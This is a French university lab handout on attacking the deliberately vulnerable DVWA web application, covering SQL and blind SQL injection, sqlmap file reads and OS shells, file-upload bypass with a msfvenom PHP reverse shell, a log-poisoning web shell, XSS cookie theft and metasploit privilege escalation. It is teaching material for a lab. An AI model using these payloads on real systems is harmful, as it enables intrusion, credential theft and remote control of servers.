l’ID « 1 », on a demandé l’affichage des informations pour l’utilisateur dont l’ID est 1 OU ID
supérieur à rien (nous aurions pu mettre mettre 0), ce qui a pour effet d’afficher les
informations de tous les utilisateurs.
Si nous voulons aller plus loin dans l’attaque, nous pouvons essayer de deviner le nom de la
colonne contenant les mots de passe puis de les afficher grâce à une requête “UNION”
permettant de joindre une autre requête SELECT, exemple : 1′ UNION select password,
last_name from users#
"SELECT first_name, last_name FROM users WHERE user_id = '1' UNION select password,
last_name from users#"
Ici, nous arrivons donc à exploiter la faille SQL injection afin d’afficher directement les mots
de passe des utilisateurs dans la page de réponse, ou plutôt le hash des mots de passe
utilisateurs :
Il est aussi possible d’afficher un fichier local du serveur, notamment via “load_file“, qui est
une syntaxe permettant la lecture de contenus locaux pour les intégrer à la réponse SQL
: LOAD DATA INFILE Syntax
' union all select load_file('/etc/passwd'),null #
Résultat :
Nous avons vu qu’afin de réaliser l’injection SQL, il est important de connaitre le nombre de
colonnes de la table.
La requête « 1’ UNION SELECT version(), null # » nous permet de connaitre la version de

mysql utilisée.
4.8.2.2 Exploitation automatisée

Sqlmap est un outil permettant d’exploiter les vulnérabilités de type injection sql.
Commandes : https://github.com/sqlmapproject/sqlmap/wiki/Usage
Selon la configuration de la machine vulnérable, il est possible de réaliser de nombreuses

actions (bien plus que de seulement récupérer / modifier le contenu des tables). Il est aussi
possible de lire des fichiers sur le serveur et aussi d’uploader des fichiers.
Il faut tout d’abord récupérer l’url vulnérable :
Note : si vous avez une erreur sous sqlmap de type « error redirect », et que l’injection ne
fonctionne pas c’est qu’il est très probable que l’accès à la page qui contient l’injection sql
nécessite une authentification… Il faut alors récupérer le cookie de session et l’indiquer à
sqlmap avec l’option –cookie
Utiliser sqlmap pour :
- Récupérer les données de la table users de dvwa

- Récupérer le fichier /etc/passwd (option sqlmap : –file-read)
 python sqlmap.py -u
"http://192.168.1.77/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=4rniiq6gbrueoinsosvcf3ok25; security=low" --file-
read=/etc/passwd
- Obtenir un shell. Il est aussi possible un shell à partir d’une ligne de commande. En
utilisant des fonctionnalités sql, il est possible d’écrire un fichier sur le système. Par
contre, cela nécessite un répertoire accessible en écriture sur le serveur. (utiliser le
répertoire /opt/lampp/htdocs/hackable/uploads) (options –os-shell)
5 Blind SQL Injection

5.1 Description
Les injections SQL à l’aveugle (blind SQL injection) sont très proches des injections SQL
classiques, à une différence majeure : l’absence de l’affichage d’erreur permettant de
“guider” une injection SQL standard.
En effet, nous avons vu que dans le cadre de l’injection SQL, celle-ci est repérée lorsque l’on
arrive à avoir comme retour à notre requête une erreur SQL. Techniquement, le non
affichage des erreurs SQL est due à l’absence, dans le code source, du code PHP suivant :
or die('<pre>' . mysql_error() . '</pre>' );
Celui-ci permet de renvoyer l’erreur indiquée par la base de données “mysql_error()”

directement dans la page HTML entre les balises d’affichage “pre” . On obtient donc un
retour sur la nature de l’erreur.
Dans le cadre de l’exploitation d’une injection SQL à l’aveugle, le terme « aveugle » signifie
que l’on va devoir exploiter la vulnérabilité sans avoir la possibilité de voir les erreurs SQL
car le code renvoyant les erreurs est absent dans la page PHP (par mesure de sécurité ou
car le serveur n’affiche pas les erreurs du serveur).
Nous allons devoir effectuer un ensemble de tests et de requêtes et en fonction des

résultats, cela indiquera que nous sommes parvenus à modifier la requête SQL (ou non).
Dans le cas présent, nous savons que la valeur à envoyer est un chiffre. Le chiffre
correspond à l’ID de l’utilisateur (1 renvoie admin, 2 gordon, etc.)
Il faut savoir que les requêtes SQL acceptent assez bien les opérations mathématiques. En
règle générale dans un requête SQL, si l’on envoie “1+1″ , cela sera automatiquement traduit
par “2” .
Cela peut dans notre cas être utile pour voir à quel point l’on peut modifier la requête SQL
envoyée au serveur de base de données. Savoir si nous pouvons modifier la requête SQL,
nous permet de savoir si nous pouvons réaliser une injection SQL.
En cas d’envoi de la valeur « 1+1 » dans le formulaire, nous avons en réponse les
informations de l’utilisateur “Gordon” (l’utilisateur qui a l’ID 2) :
Si l’on envoie “2-1” , nous avons les informations de l’utilisateur “admin” :
Que peut-on en déduire ?

 Il n’y a pas de contrôle précis dans le code PHP, en tout cas pas de contrôle vérifiant
que la donnée envoyée est purement un nombre sans caractère spécial par exemple
 On peut modifier la requête SQL avec les données que l’on envoie
On peut alors tenter d’aller plus loin en reprenant les exploits utilisés dans le niveau “low” et
“medium” d’Injection SQL :
On arrive donc à modifier la requête en y ajoutant des données supplémentaires, signe
qu’une Injection SQL est possible
5.2 Exploitation
5.2.1 Exploitation simple
Nous allons par exemple détecter la version du serveur mysql.
Avec l’injection SQL classique, nous avons pu directement récupérer le numéro de la
version du serveur mysql utilisé avec la requête suivante :
1’ UNION select version(),null#

Dans le cadre d’une requête d’injection SQL à l’aveugle, nous allons de voir tester le numéro
de la version jusqu’à ce que le serveur nous réponde vrai (plutôt que de l’obtenir directement
comme avec une requête classique) :
Si nous exécutons cette même requête pour l’injection SQL à l’aveugle, nous n’obtenons pas
de résultat.
Comme dit précédemment, le serveur nous répond par vrai ou faux (pas de réponse).
Par exemple, la requête suivante demande si la version de mysql est égale à 4 (« 'OR
version()='4' -- ';)
”
Pas de réponse. (ce qui signifie que la réponse est fausse)
Nous demandons ensuite si la version est 5. Pas de réponse aussi.
Par contre, si nous demandons si la version du serveur mysql est 5.1.41 (ce numéro a été
récupéré lors de l’injection SQL classique), nous avons une réponse du serveur ce qui
signifie que la réponse est vraie (et que la version du serveur mysql est bien égale à 5.1.41).
Dans un cas réel, nous aurions dû automatiser la requête pour trouver la bonne réponse (la
version du serveur mysql est-elle égale à 3 ? égale à 3.1 ? égale à 3.2 ? etc.) jusqu’à ce que
le serveur nous réponde vrai.
Concernant les outils d’exploitation, sqlmap supporte les injections sql à l’aveugle. Il existe
aussi de nombreux autres outils dont bbqsql (https://github.com/Neohapsis/bbqsql).
5.3 Upload
5.3.1 Description
Les failles de sécurité de type File Upload se caractérisent généralement par la possibilité
d’envoyer des fichiers de façon un peu trop libre sur l’application web visée. Généralement,
un formulaire d’upload de fichier est mis en place pour différentes raisons. Cela peut par
exemple être afin d’uploader une image de profil, de partager des fichiers ou des images
avec des collaborateurs, etc. Quoi qu’il en soit, une faille de type File Upload est exploitée
lorsqu’un pirate se sert de la possibilité de charger un fichier sur le serveur à des fins non
prévues, par exemple :
- Saturer l’espace disque du serveur avec des fichiers trop lourds
- Charger des scripts lui permettant d’exécuter des actions sur le serveur
En effet, il faut savoir que par “fichier”, on entend aussi bien des images ou des documents
standard, mais également des scripts et bouts de code (PHP par exemple). Cela est très
dangereux, car un attaquant qui arrive à uploader un webshell sur le serveur web ciblé
possèdera alors une possibilité d’action importante.
Lien : https://www.information-security.fr/dvwa-solutions-protections-file-inclusion-xss/
5.3.2 Exploitation
En niveau « facile » sur dvwa, il n’y a pas de contrôle les extensions uploadées. Uploader un
shell php via la fonctionnalité upload puis y accéder.
5.3.2.2.1 Exploitation avec Burp

Mettre la sécurité dvwa à medium et utiliser Burp pour upoloader un webshell
Cette fois, il y a un contrôle des extensions qui est réalisé.
Il y a un contrôle sur le content-type pour éviter l’uploader de fichiers potentiellement

dangereux comme php.
Il suffit alors de mettre un content-Type valide comme image-jpeg pour outrepasser le

contrôle.
5.3.2.2.2 Exploitation avec Metasploit

L’idée est de générer un webshell avec metasploit, de l’uploader sur la plate-forme et de
l’exécuter :
- Génération d’un meterpreter php :
 msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f raw > shell.php
 msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.32
LPORT=9999 -f raw > shell.php
 attention modifier les premiers caractères du fichier shell.php pour supprimer
les caractères /* (bug de msfvenom)
- Configurer metasploit pour être en attente de connexion
Sur l’interface web, on tente d’uploader le fichier shell.php
On obtient un message d’erreur, car notre fichier possède une extension non autorisée
(.php)
On renomme notre fichier en shell.php.jpg
Si on tente d’uploader le fichier, ceci fonctionnera, mais nous ne pourrons pas exécuter le
fichier (car une extension en jpg). Comme le contrôle de l’extension est réalisé sur la page
(par une fonction javascript), on intercepte la requête lors de l’upload et on renomme notre
fichier à la volée.
Cette fois-ci, notre fichier a bien été uploadé avec une extension php et nous pouvons ainsi
l’exécuter.
Il ne reste plus qu’accéder au fichier :
Une fois exécuté, l’ouverture de session est réalisée dans metasploit :
6 Aller plus loin

6.1 Comptes faibles FTP
Ouvrir une session metasploit avec les identifiants ftp découverts par nessus.
Rechercher le module metasploit correspondant (sous metasploit, taper : search ftp pour
trouver la liste des modules ftp)
6.2 Elévation de privilèges

6.2.1 Description
Les pirates recherchent souvent le contrôle complet d'un système informatique afin de
pouvoir s'en servir à leur profit. Lorsqu'un pirate commence par un compte utilisateur
compromis et parvient ensuite à augmenter ou élever les privilèges d'utilisateur individuel
qu'il possède pour parvenir à des privilèges administratifs complets ou « racine », nous
pouvons donner à ces attaques le nom d'élévation de privilèges verticale.
Le compte obtenu par l’exploitation de vulnérabilités a des droits limités (compte <www-
data> utilisé par le processus Apache).
La prochaine étape est donc d’obtenir les droits du compte administrateur (root) ce qui nous
permettra d’effectuer toutes les actions que nous souhaitons : installation d’une porte
dérobée, effacement des fichiers logs, cassage des comptes utilisateurs, etc
Pour élever nos privilèges, on utilise souvent un exploit local. Maintenant comment trouver la
vulnérabilité à utiliser ? La clé est l’énumération, qui comprend :
- Enumération du système d’exploitation
- Enumération des services et des applications
- Enumération du système de fichiers
- Enumération des informations confidentielles
- Enumération des connexions réseau
Il s’agit d’abord de récupérer le maximum d’informations, puis une fois des vulnérabilités
détectées, d’exploiter l’une d’elles.
Plus d’informations sont disponibles ici :

- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- http://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/#gref
-
6.2.2 Exploitation
Metasploit possède des modules pour élever ses privilèges (encore faut-il savoir lequel
utiliser…)
Pour vous entrainer, voici l’exploit local à utiliser sous metasploit : exploit/linux/local/pkexec
Méthodo :
- Obtenir un shell avec le meterpreter sur dvwa
- Laisser la session ouverte commande background)
- Utiliser l’exploit suivant :
o exploit/linux/local/pkexec
- indiquer la session du meterpreter
- enjoy in root 
Exemple :

Il existe un outil pour collecter de nombreuses informations sur un système et ainsi pouvoir
découvrir la/les vulnérabilité(s) à exploiter.
Le script est fourni avec ce tp, il s’agit de linuxprivchecker.py.
L’idée est tout d’abord d’obtenir un accès au système, d’uploader le script sur le serveur puis
de l’exécuter.
Le script donne de nombreuses informations et suggère des vulnérabilités à utiliser selon la

version du système détectée.
Exécuter le script et analyser les résultats obtenus. Regarder et exécuter les exploits
suggérés.
Vous pouvez consulter le lien suivant qui donne un exemple d’exploitation :
https://dook.biz/tag/privesc/

UE Cybersecurite-TP DVWA v0.6

Transféré par

Informations du document

Titre original

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

UE Cybersecurite-TP DVWA v0.6

Transféré par

Droits d'auteur :

Formats disponibles

DVWA

Date de création 28/10/2017

Rédaction (R) BERTRAND Cédric

5.1 Description .............................................................................................................47

Note n° 1: vous trouverez surlignées en vert, les méthodes/techniques à connaitre pour

Burp : intégré avec Kali

2.2 Configuration de DVWA

Puis se connecter à l’interface de dvwa (http://<ip>). L’identifiant est « admin » et le mot de

Maintenant DVWA est configuré.

3 Cartographie de la machine DVWA

3.2 Faire un scan de vulnérabilités

1- Faire un scan nessus par défaut (sans configurer d’options)

2- Refaire un scan avec les options ci-dessous

- sélectionner « advanced scan »

- sélectionner scan des applications web

- sélectionner le brute-force des comptes (dé-sélectionner la case « only use

Figure 1 Récupération du cookie

Quelles sont les différences entre les 3 scans ?

Pour brute-forcer une authentification htaccess, vous pouvez consulter ce lien :

4.2 Découvrir les ressources cachées (fuzzing)

Nous venons de découvrir l’existence de plusieurs répertoires (config, docs, external,

4.3 Exécution de commandes

cd /home/~/dossier1 && touch file1

Nous allons utiliser le « && » pour exécuter une commande :

4.3.2.2 Exploitation avancée

L’exécution et les possibilités de code Javascript permettent d’effectuer des actions

Si l’on exécute la commande : <script>alert(document.cookie)</script> . Nous récupérons le

Ce cookie peut ensuite être ré-utilisé pour usurper la session de l’utilisateur.

Il suffit ensuite de copier le cookie dans le navigateur pour « usurper » l’identité de

4.4.2.2 Exploitation avancée

4.4.2.2.1 Coupler une XSS avec une vulnérabilité CRSF

Utiliser le framework Beef pour exploiter la vulnérabilité XSS

Code de la page csrf.html :

4.5.2.2 Exploitation avancée

Si on reprend la requête pour le changement de mot de passe

Le changement de mot de passe a été exécuté de manière automatisée.

4.6 La faille LFI (Local File Injection)

4.6.2.1.1 Avec Burp

4.6.2.1.2 Avec metasploit

4.6.2.2 Exploitation avancée

4.6.2.2.1 Utilisation de fimap

python fimap.py --cookie="PHPSESSID=djonatc93aihcpcgpet1rbqtu7; security=low" -u

4.6.2.2.2 Exploitation via les logs

Regardons le format d’enregistrement d’un accès dans le journal d’événement :

Le format d’enregistrement est donc le suivant :

La seule variable « facile » à contrôler dans ce format est l’url accédée.

<?php echo shell_exec(base64_decode($_GET['cmd']));?>

(la commande cat /etc/passwd a été encodée en base 64).

Le résultat de la commande (cat /etc/passwd) est alors affiché

On peut ensuite utiliser cette technique pour obtenir un accès au serveur.

4.6.2.2.3 Exécution de commandes via les wrappers

Ce module délivre une commande à exécuter sur la cible et permet d’uploader un

Pour l’exploiter via la vulnérabilité citée, on encode la commande en base 64 :

Et on l’exécute via la commande php://input :

La requête exécutée, metasploit qui était en attente de connexion, s’occupe du reste :

4.7 La faille RFI (Remote File Inclusion)

4.7.2.2 Exploitation automatisée

Ne pas oublier d’indiquer les cookies.

4.8 SQL Injection

SELECT auteur, article FROM site.articles where auteur = "bob" .

Sinon utiliser sqlmap.

Nous nous trouvons en face d’un formulaire de recherche des utilisateurs.

Si nous saisissons “1“, nous obtenons en retour “admin” .